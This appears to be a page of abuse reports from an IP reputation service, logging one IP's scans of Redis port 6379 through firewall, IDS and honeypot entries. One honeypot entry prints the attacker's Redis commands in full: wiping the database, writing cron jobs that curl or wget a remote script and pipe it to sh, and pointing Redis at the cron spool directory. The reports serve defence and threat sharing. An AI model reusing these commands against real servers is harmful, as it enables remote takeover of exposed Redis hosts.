🇹🇭
Sawasdee
2026-02-08 09:32:32
UTC ·
(9 months ago)
Port Scan
...
Port Scan
🇩🇪
yangfan
2026-02-07 19:31:14
UTC ·
(9 months ago)
UFW Blocked [6379/TCP]
Source: 82.208.23.70:57598
TTL: 57
Lenth: 60
TOS: 0x00
Port Scan
🇳🇱
VMHeaven.io
2026-02-07 18:52:27
UTC ·
(9 months ago)
Blocked by UFW [6379/tcp]
Source port: 41846
TTL: 53
Packet length: 60
Port Scan
🇩🇪
guldkage
2026-02-07 18:13:47
UTC ·
(9 months ago)
Unauthorized connection attempt detected from IP address 82.208.23.70 to port 6379 (ger-02) [REDIS]
Exploited Host
🇳🇱
Duggy_Tuxy🧱
2026-02-06 19:58:27
UTC ·
(9 months ago)
Blocked by DataShield (Port Scan on Port 6379) - Source: 82.208.23.70
Port Scan
🇹🇷
pamircil
2026-02-06 13:53:22
UTC ·
(9 months ago)
🍯 WinnieThePooh Honeypot : Unauthorized access attempt (TCP/6379) 💀
Exploited Host
Web App Attack
2026-02-05 13:19:36
UTC ·
(9 months ago)
2026-02-05T14:19:35.457229+01:00 vps kernel: [32037847.534783] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=fa:16:3e:66:f6:24:02:37:19:0d:c2:f3:08:00 SRC=82.208.23.70 DST=54.37.14.118 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=19978 DF PROTO=TCP SPT=51580 DPT=6379 ...
show more
2026-02-05T14:19:35.457229+01:00 vps kernel: [32037847.534783] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=fa:16:3e:66:f6:24:02:37:19:0d:c2:f3:08:00 SRC=82.208.23.70 DST=54.37.14.118 LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=19978 DF PROTO=TCP SPT=51580 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0
...
show less
Port Scan
Brute-Force
🇬🇷
Xev
2026-02-04 18:13:04
UTC ·
(9 months ago)
Redis command execution
Date: 2026-02-04 15:30:29 UTC
Destination port: 6379
Executed commands:
flushall
set
backup1
*/2 * * * * cd1 -fsSL https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup2
*/3 * * * * wget -q -O- ...
show more
Redis command execution
Date: 2026-02-04 15:30:29 UTC
Destination port: 6379
Executed commands:
flushall
set
backup1
*/2 * * * * cd1 -fsSL https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup2
*/3 * * * * wget -q -O- https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup3
*/4 * * * * curl -fsSL https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup4
*/5 * * * * wd1 -q -O- https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
config
set
dir
/var/spool/cron/
config
set
dir
/var/spool/cron/crontabs
flushall
set
backup1
*/2 * * * * root cd1 -fsSL https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup2
*/3 * * * * root wget -q -O- https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup3
*/4 * * * * root curl -fsSL https://accrochezvous.fr/plugins-dist/safehtml/images/cc.txt | sh
set
backup4
*/5 * * * * root wd1 -q -O- https://a...
show less
IoT Targeted
🇯🇵
VXG-NET
2026-02-04 01:28:21
UTC ·
(9 months ago)
port=6379, indicator_type=scan
Port Scan
🇹🇭
Sawasdee
2026-02-03 14:20:20
UTC ·
(9 months ago)
Port Scan
...
Port Scan
🇦🇹
Pingger Shikkoken
2026-02-03 04:58:05
UTC ·
(9 months ago)
2026-02-03T04:58:05+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:88:32:08:00 SRC=82.208.23.70 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=53 ID=21977 DF PROTO=TCP SPT=38756 DPT=6379 WINDOW=6424 ...
show more
2026-02-03T04:58:05+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:88:32:08:00 SRC=82.208.23.70 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=53 ID=21977 DF PROTO=TCP SPT=38756 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0
show less
Hacking
🇹🇷
rtbh.com.tr
2026-02-03 00:11:20
UTC ·
(9 months ago)
list.rtbh.com.tr report: tcp/6379
Brute-Force
🇬🇧
OptimusGO
2026-02-02 23:14:02
UTC ·
(9 months ago)
Malicious activity detected: web_attack
Server: commstackbc (185.127.18.66)
Attack: web_attack
Timestamp: 2026-02-02 23:14:02 UTC
Log evidence:
02/02/2026-23:14:00.659511 [**] [1:1000090:1] POLICY Unauthorized Management Port Access [**] [Classif ...
show more
Malicious activity detected: web_attack
Server: commstackbc (185.127.18.66)
Attack: web_attack
Timestamp: 2026-02-02 23:14:02 UTC
Log evidence:
02/02/2026-23:14:00.659511 [**] [1:1000090:1] POLICY Unauthorized Management Port Access [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 82.208.23.70:32950 -> 185.127.18.66:6379
02/02/2026-23:14:00.659511 [**] [1:1000103:1] SECURITY Management Port Probe - CRITICAL [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 82.208.23.70:32950 -> 185.127.18.66:6379
show less
Port Scan
Brute-Force
🇦🇹
centurion
2026-02-01 18:40:19
UTC ·
(9 months ago)
Unauthorized attempt on siem [6379/tcp]
Source port: 52054
TTL: 54
Packet length: 60
TOS: 0x00
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
Port Scan
🇦🇹
Pingger Shikkoken
2026-02-01 18:40:19
UTC ·
(9 months ago)
2026-02-01T18:40:19+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:88:32:08:00 SRC=82.208.23.70 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=54 ID=5417 DF PROTO=TCP SPT=35888 DPT=6379 WINDOW=64240 ...
show more
2026-02-01T18:40:19+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:88:32:08:00 SRC=82.208.23.70 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=54 ID=5417 DF PROTO=TCP SPT=35888 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0
show less
Hacking